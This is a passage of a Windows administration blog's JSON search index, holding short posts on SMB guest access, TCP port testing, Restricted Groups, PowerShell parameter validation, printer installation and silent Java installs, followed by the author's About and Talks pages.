shares without authentication, using the built-in “guest” account.\nThis has no reference to the SMB1 protocol which was disabled in the latest Windows 10 release.\nResolution # To enable guest access again, configure the following GPO:\nComputer configuration \u003e administrative templates \u003e network \u003e Lanman Workstation: \"Enable insecure guest logons\" = Enabled\nRegistry Key # The according registry key is located under:\n","title":"Windows 10 1709 Cannot Access SMB2 Share Guest Access","type":"posts"},{"content":"Recently I was troubleshooting ADFS connection issues when I discovered a nice little Cmdlet called \u0026ldquo;Test-NetConnection\u0026rdquo;. With this Cmdelet you can verify TCP connectivity, in my case from a client to the ADFS server.\nThe Test-NetConnection cmdlet displays diagnostic information for a connection. It supports ping test, TCP test, route tracing, and route selection diagnostics. Depending on the input parameters, the output can include the DNS lookup results, a list of IP interfaces, IPsec rules, route/source address selection results, and/or confirmation of connection establishment.\nFind a full documentation on the Microsoft Docs Page.\nAbout the script # With this Script you are able to specify server names and port numbers to check in a CSV File. The Script generates an CSV output file as a report. You can use this script for troubleshooting or engineering purposes to verify if TCP ports are opened.\nSimply add the hostname and TCP port to the \u0026ldquo;CheckList.csv\u0026rdquo; and the script checks the specified servers and ports.\nThe script will generate an output file for the same path containing the suffix \u0026ldquo;Report_\u0026rdquo; with the test results.\nCheckList.csv: Report_CheckList.csv generated after script execution: Executing the script # To execute the script simply add the \u0026ldquo;-Path\u0026rdquo; parameter to specifiy the path to the CheckList.csv template.\nPS C:\\techblog\u0026gt; \u0026amp;\u0026#34;Check-Ports.ps1\u0026#34; -Path \u0026#34;CheckList.csv\u0026#34; Important: # This script requires Power Shell version 5 Don\u0026rsquo;t miss the ExecutionPolicy configuration\u0026hellip; dummies.com Run Power Shell Scripts PowerShell Script Test Open TCP Ports # Download the CSV template # CSV Template CheckList.csv Reference: # Microsoft Docs: test-netconnection Use Test-NetConnection to Replace Ping: use-test-netconnection-replace-ping ","date":"18 October 2017","externalUrl":null,"permalink":"/power-shell-script-test-open-tcp-ports/","section":"Posts","summary":"Recently I was troubleshooting ADFS connection issues when I discovered a nice little Cmdlet called “Test-NetConnection”. With this Cmdelet you can verify TCP connectivity, in my case from a client to the ADFS server.\nThe Test-NetConnection cmdlet displays diagnostic information for a connection. It supports ping test, TCP test, route tracing, and route selection diagnostics. Depending on the input parameters, the output can include the DNS lookup results, a list of IP interfaces, IPsec rules, route/source address selection results, and/or confirmation of connection establishment.\nFind a full documentation on the Microsoft Docs Page.\nAbout the script # With this Script you are able to specify server names and port numbers to check in a CSV File. The Script generates an CSV output file as a report. You can use this script for troubleshooting or engineering purposes to verify if TCP ports are opened.\nSimply add the hostname and TCP port to the “CheckList.csv” and the script checks the specified servers and ports.\nThe script will generate an output file for the same path containing the suffix “Report_” with the test results.\nCheckList.csv: Report_CheckList.csv generated after script execution: ","title":"PowerShell Script Test Open TCP Ports","type":"posts"},{"content":"If you imagine that your users or administrators have uncontrolled local administrator rights it\u0026rsquo;s a nightmare. They have (certainly) full control over their computer, and could do a lot of harm. So managing local administrator rights is definitely a must.\nManage Local Administrator Rights # The Active Directory Group Policies offer a great possibility to manage local groups on clients or servers. All the magic happens with \u0026ldquo;Restricted Groups\u0026rdquo;.\nAdding a group or users to a local group # If you want to add a certain group to a built-in group add the group to the restricted groups under the \u0026ldquo;This group is a member of\u0026rdquo; sections: When the GPO is no longer applied, the restricted group is being removed from the clients.\nOverwrite local group members # When you wan\u0026rsquo;t take full control over a local group, you can choose the \u0026ldquo;Members of this group\u0026rdquo; option. Then all group members are replaced with the specified users or groups here, except the built-in local Administrator account.\n==Caution: Be careful overwriting the local Administrators group because you don\u0026rsquo;t want to lock out yourself, do you?==\nSo I would recommend to add at least the \u0026ldquo;Domain Admins\u0026rdquo; to the members: Choosing the right option # The only but important difference between this two options is:\nWith the explicit declaration for the members the group gets overwritten with each policy refresh - you won\u0026rsquo;t have any unwanted users or groups in your local Administrators group.\nResulting client settings # Last but not least with both options we achieve the following configuration for the local Administrators group on a client: Conclusion # Restricted Groups offer a great possibility to manage the local user rights in your environment. Combined with the Local Administrator Password Solution it\u0026rsquo;s a big step towards a secure and more maintainable solution.\nReference:\nTechnet ","date":"14 October 2017","externalUrl":null,"permalink":"/manage-local-administrator-rights-using-group-policy/","section":"Posts","summary":"If you imagine that your users or administrators have uncontrolled local administrator rights it’s a nightmare. They have (certainly) full control over their computer, and could do a lot of harm. So managing local administrator rights is definitely a must.\nManage Local Administrator Rights # The Active Directory Group Policies offer a great possibility to manage local groups on clients or servers. All the magic happens with “Restricted Groups”.\nAdding a group or users to a local group # If you want to add a certain group to a built-in group add the group to the restricted groups under the “This group is a member of” sections: When the GPO is no longer applied, the restricted group is being removed from the clients.\nOverwrite local group members # When you wan’t take full control over a local group, you can choose the “Members of this group” option. Then all group members are replaced with the specified users or groups here, except the built-in local Administrator account.\n","title":"Manage Local Administrator Rights Using Group Policy","type":"posts"},{"content":" Recently I was working on a PowerShell script with many custom functions. When I started to use PowerShell custom objects I wanted to be able to pass them to a function. So I faced the challenge of validating my object for all required properties and came up with this solution, using the ValidateScript block to test the object:\nCustomizing the ValidateScript # As you can see I use a ValidateScript for the parameter validation to test the object for the required properties. The properties can be specified in an array: $requiredProperties=@(\u0026quot;Property1\u0026quot;,\u0026quot;Property2\u0026quot;,\u0026quot;Property3\u0026quot;, \u0026quot;Property4\u0026quot;) When we call the Function with an appropriate object:\n$config= [PSCUSTOMOBJECT]@{ property1= \u0026#34;Value\u0026#34;; property2= \u0026#34;Value\u0026#34;; property3= \u0026#34;Value\u0026#34;; property4= \u0026#34;Value\u0026#34;; } We receive the following output:\nPS H:\\\u0026gt; New-Example -InputObject $config Succesfully passed ValidateScript Result # If we remove one or more properties from our custom object, an error is thrown:\nPS H:\\\u0026gt; $config= [PSCUSTOMOBJECT]@{ property1= \u0026#34;Value\u0026#34;; property2= \u0026#34;Value\u0026#34;; property3= \u0026#34;Value\u0026#34;; } New-Example -InputObject $config New-Example : Cannot validate argument on parameter \u0026#39;InputObject\u0026#39;. Property: \u0026#39;Property4\u0026#39; missing At line:10 char:26 + New-Example -InputObject $config + ~~~~~~~ + CategoryInfo : InvalidData: (:) [New-Example], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationError,New-Example If you want to go a step further you could extend the ValidateScript to\u0026hellip;\nPrevent passing properties with a NULL or empty value # $_.PSObject.Properties | ForEach-Object { if (([string]::IsNullOrEmpty($_.Value))){ Throw [System.Management.Automation.ValidationMetadataException] \u0026#34;Property \u0026#39;$($_.Name)\u0026#39; has either a NULL or empty value\u0026#34; } } If we call our function again with the added IsNullOrEmpty validation NULL or emtpy values throw an exception:\nPS H:\\\u0026gt; $config= [PSCUSTOMOBJECT]@{ property1= \u0026#34;Value\u0026#34;; property2= \u0026#34;Value\u0026#34;; property3= \u0026#34;Value\u0026#34;; property4= $null; } New-Example -InputObject $config New-Example : Cannot validate argument on parameter \u0026#39;InputObject\u0026#39;. Property \u0026#39;property4\u0026#39; has either a NULL or empty value At line:11 char:26 + New-Example -InputObject $config + ~~~~~~~ + CategoryInfo : InvalidData: (:) [New-Example], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationError,New-Example Final Result # Last but not least, here\u0026rsquo;s the full function with an example object:\nIf you have any questions or improvements just let me know.\nHappy ValidateScripting!\nReference # PowerShell custom objects on technet Loop trough object Properties ValidateScript on powershell.org ","date":"12 October 2017","externalUrl":null,"permalink":"/power-shell-function-validate-object-properties/","section":"Posts","summary":" Recently I was working on a PowerShell script with many custom functions. When I started to use PowerShell custom objects I wanted to be able to pass them to a function. So I faced the challenge of validating my object for all required properties and came up with this solution, using the ValidateScript block to test the object:\nCustomizing the ValidateScript # As you can see I use a ValidateScript for the parameter validation to test the object for the required properties. The properties can be specified in an array: $requiredProperties=@(\"Property1\",\"Property2\",\"Property3\", \"Property4\") When we call the Function with an appropriate object:\n$config= [PSCUSTOMOBJECT]@{ property1= \"Value\"; property2= \"Value\"; property3= \"Value\"; property4= \"Value\"; } We receive the following output:\nPS H:\\\u003e New-Example -InputObject $config Succesfully passed ValidateScript Result # If we remove one or more properties from our custom object, an error is thrown:\nPS H:\\\u003e $config= [PSCUSTOMOBJECT]@{ property1= \"Value\"; property2= \"Value\"; property3= \"Value\"; } New-Example -InputObject $config New-Example : Cannot validate argument on parameter 'InputObject'. Property: 'Property4' missing At line:10 char:26 + New-Example -InputObject $config + ~~~~~~~ + CategoryInfo : InvalidData: (:) [New-Example], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationError,New-Example If you want to go a step further you could extend the ValidateScript to…\nPrevent passing properties with a NULL or empty value # $_.PSObject.Properties | ForEach-Object { if (([string]::IsNullOrEmpty($_.Value))){ Throw [System.Management.Automation.ValidationMetadataException] \"Property '$($_.Name)' has either a NULL or empty value\" } } If we call our function again with the added IsNullOrEmpty validation NULL or emtpy values throw an exception:\n","title":"PowerShell Function Validate Object Properties Using ValidateScript","type":"posts"},{"content":"Managing printers with PowerShell instead of VBScript? Sometimes it\u0026rsquo;s necessary to add and remove specific printers to a computer. For example during a client deployment or when a user logs on. This post covers how to manage printers with PowerShell.\nThe following PowerShell commands are supported with PowerShell version 4 and newer.\nInstalling a local network printer # Installing a local printer (without a printserver) consists of the following steps:\nAdd the printer driver to your system\u0026rsquo;s driverstore Install the printer driver from the driverstore Add a printer port to communicate with the printer Last but not least add the printer Add the printer driver to the driverstore # Before you can install the printer driver you need to import the printer driver to your system\u0026rsquo;s driverstore.\nThis can be achieved with the built in Windows \u0026ldquo;pnputil\u0026rdquo; utility.\nThe following code adds all drivers from the specified path to the driverstore:\nGet-ChildItem %PathToYourDriverFolder% -Filter *.inf -Recurse | % {pnputil.exe /a $_.FullName}\nInstall the printer driver from the driverstore # This step is quite simple, you just need to know the name of the printer driver you want to install. For example \u0026ldquo;HP Universal Printing PCL 6\u0026rdquo;.\nHint: To get the name of a driver you can check the \u0026ldquo;[strings]\u0026rdquo; section of your *.inf file.\nAdd-PrinterDriver -Name %DriverName% -Verbose\nAdd a printer port to communicate with the printer # As a best practise i recommend to use the printer ip address or hostname as port name.\nAdd-PrinterPort -Name %NameForYourPort% -PrinterHostAddress %PrinterIpAddress% -Verbose\nAdd the printer # Finally add the printer with the created port and driver and the specified name\nAdd-Printer -PortName %NameForYourPort% -Name %PrinterName% -DriverName %DriverName%\nInstalling a printer from a printserver # Installing a printer from a printserver is quite simple. You just need the hostname or ip address of the printserver and the shared name for the printer.\nAdd-Printer -ConnectionName \\\\%PrintServer%\\%PrinterSharedName%\nSetting a default printer # To set a default printer the printer must already be installed to your machine.\n$wsObject = New-Object -COM WScript.Network $wsObject.SetDefaultPrinter(%PrinterName%)\nWindows 10 uses by default the last chosen printer as default # If you need to specify a persistent default printer you can disable this feature with the following registry key:\nSet-ItemProperty -Path \u0026quot;HKCU:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\u0026quot; -Name \u0026quot;LegacyDefaultPrinterMode\u0026quot; -Value 1 -Force\nThanks for reading my very first blog post. Hopefully you are able to start \u0026ldquo;managing printers the PowerShell way\u0026rdquo;. You can find more information on the About section of my blog. Stay tuned.\nReference:\nuse-powershell-to-create-new-printer-ports Add-Printer Cmdlet ","date":"10 October 2017","externalUrl":null,"permalink":"/managing-printers-power-shell/","section":"Posts","summary":"Managing printers with PowerShell instead of VBScript? Sometimes it’s necessary to add and remove specific printers to a computer. For example during a client deployment or when a user logs on. This post covers how to manage printers with PowerShell.\nThe following PowerShell commands are supported with PowerShell version 4 and newer.\nInstalling a local network printer # Installing a local printer (without a printserver) consists of the following steps:\nAdd the printer driver to your system’s driverstore Install the printer driver from the driverstore Add a printer port to communicate with the printer Last but not least add the printer Add the printer driver to the driverstore # Before you can install the printer driver you need to import the printer driver to your system’s driverstore.\nThis can be achieved with the built in Windows “pnputil” utility.\nThe following code adds all drivers from the specified path to the driverstore:\nGet-ChildItem %PathToYourDriverFolder% -Filter *.inf -Recurse | % {pnputil.exe /a $_.FullName}\nInstall the printer driver from the driverstore # This step is quite simple, you just need to know the name of the printer driver you want to install. For example “HP Universal Printing PCL 6”.\n","title":"Managing printers with PowerShell","type":"posts"},{"content":"Disable Java Auto Update without registry modification?\nRecently i had to install Oracle Java on a Terminal server and was curious, if it\u0026rsquo;s possible to configure the package that the auto update feature is disabled without any registry configuration?\nCustom configuration # On the Oracle website i found a great article about the possibility to pass a configuration file to the installer:\nHere\u0026rsquo;s the syntax to install Java silently with a custom configuration:\njre-8u121-windows-x64.exe -s INSTALLCFG=\u0026quot;C:\\Install\\Java\\java.settings.cfg\u0026quot; AUTO_UPDATE=Disable EULA=Disable NOSTARTMENU=Enable SPONSORS=Disable\nYou can find a full reference of all configuration items here: https://docs.oracle.com/javase/8/docs/technotes/guides/install/config.html\nPlease be careful when using the REMOVEOUTOFDATEJRES=1 option, because when you install the same Java version in a different architecture (x86 \u0026amp; x64), the other architecture with the same version is being removed during the installation!\nYou can find more information on the About section of my blog. Stay tuned for more posts.\n","date":"10 October 2017","externalUrl":null,"permalink":"/disable-java-auto-update/","section":"Posts","summary":"Disable Java Auto Update without registry modification?\nRecently i had to install Oracle Java on a Terminal server and was curious, if it’s possible to configure the package that the auto update feature is disabled without any registry configuration?\nCustom configuration # On the Oracle website i found a great article about the possibility to pass a configuration file to the installer:\nHere’s the syntax to install Java silently with a custom configuration:\njre-8u121-windows-x64.exe -s INSTALLCFG=\"C:\\Install\\Java\\java.settings.cfg\" AUTO_UPDATE=Disable EULA=Disable NOSTARTMENU=Enable SPONSORS=Disable\nYou can find a full reference of all configuration items here: https://docs.oracle.com/javase/8/docs/technotes/guides/install/config.html\nPlease be careful when using the REMOVEOUTOFDATEJRES=1 option, because when you install the same Java version in a different architecture (x86 \u0026 x64), the other architecture with the same version is being removed during the installation!\nYou can find more information on the About section of my blog. Stay tuned for more posts.\n","title":"Disable Java Auto Update During Installation","type":"posts"},{"content":"","date":"10 October 2017","externalUrl":null,"permalink":"/tags/java/","section":"Tags","summary":"","title":"Java","type":"tags"},{"content":"Thank you for visiting my blog and reading this far. I am passionate about Cyber Security with the Microsoft Security stack. On this blog I like to share ideas, solutions, experiences and learnings with the community. I write those blog posts during my free time and don\u0026rsquo;t write posts with sponsored content.\nPlease note that all posts on this blog reflect my own opinions and are provided \u0026ldquo;as is\u0026rdquo;, without warranty of any kind. User Group # To further strengthen the swiss Microsoft Security Community, I\u0026rsquo;m also Organizing the Workplace \u0026amp; Security Ninja User Group Switzerland with my good friend Janic. The latest event and call for speakers information is available on meetup.\nOffline Activities # Here some offline impressions:\nPrevious Next ","externalUrl":null,"permalink":"/about/","section":"Hi, I'm Nicola 👋","summary":"Thank you for visiting my blog and reading this far. I am passionate about Cyber Security with the Microsoft Security stack. On this blog I like to share ideas, solutions, experiences and learnings with the community. I write those blog posts during my free time and don’t write posts with sponsored content.\nPlease note that all posts on this blog reflect my own opinions and are provided “as is”, without warranty of any kind. User Group # To further strengthen the swiss Microsoft Security Community, I’m also Organizing the Workplace \u0026 Security Ninja User Group Switzerland with my good friend Janic. The latest event and call for speakers information is available on meetup.\nOffline Activities # Here some offline impressions:\n","title":"About","type":"page"},{"content":"I am looking forward speaking on the events listed below. Do not hesitate to contact me for your next event. Slides from past events can mostly be downloaded as PDF.\nUpcoming # Date Event Session x Your event? For any speaking related inquiries just drop me an e-mail Past # Date Event Session 08.10.2025 Workplace Ninja User Group Switzerland Intune misconfigurations in the wild, what we see and what you should fix! 24.09.2025 Workplace Ninja Summit 2025 Various sessions 10.06.2025 Switch NetSec WG 2025 KQL Threat Hunting hands on lab 16.09.2024 Workplace Ninja Summit 2024 Various sessions 28.05.2024 KQL Café Preventive side of ITDR with KQL 05.05.2024 MMS 2024 at MOA Various sessions 30.10.2023 MMS 2023 Miami Beach Edition Various sessions 27.09.2023 Workplace Ninja Summit 2023 Demystifying Defender for Endpoint Security Settings Management 19.03.2021 WPNinjaUG_CH 2103 Virtual Automating Intune Tasks with the Microsoft Graph API 30.09.2020 Experts Live Switzerland A safari through the Intune device management scenario jungle 29.11.2019 Geekmania Hybrid Azure AD Join and Windows Hello for Business 04.10.2019 Configmgr Community Event (CMCE) Classic On-Prem Services in the Cloud ","externalUrl":null,"permalink":"/talks/","section":"Hi, I'm Nicola 👋","summary":"I am looking forward speaking on the events listed below. Do not hesitate to contact me for your next event. Slides from past events can mostly be downloaded as PDF.\nUpcoming # Date Event Session x Your event? For any speaking related inquiries just drop me an e-mail Past # Date Event Session 08.10.2025 Workplace Ninja User Group Switzerland Intune misconfigurations in the wild, what we see and what you should fix! 24.09.2025 Workplace Ninja Summit 2025 Various sessions 10.06.2025 Switch NetSec WG 2025 KQL Threat Hunting hands on lab 16.09.2024 Workplace Ninja Summit 2024 Various sessions 28.05.2024 KQL Café Preventive side of ITDR with KQL 05.05.2024 MMS 2024 at MOA Various sessions 30.10.2023 MMS 2023 Miami Beach Edition Various sessions 27.09.2023 Workplace Ninja Summit 2023 Demystifying Defender for Endpoint Security Settings Management 19.03.2021 WPNinjaUG_CH 2103 Virtual Automating Intune Tasks with the Microsoft Graph API 30.09.2020 Experts Live Switzerland A safari through the Intune device management scenario jungle 29.11.2019 Geekmania Hybrid Azure AD Join and Windows Hello for Business 04.10.2019 Configmgr Community Event (CMCE) Classic On-Prem Services in the Cloud ","title":"Talks","type":"page"},{"content":"","externalUrl":null,"permalink":"/tils/","section":"Tils","summary":"","title":"Tils","type":"tils"}]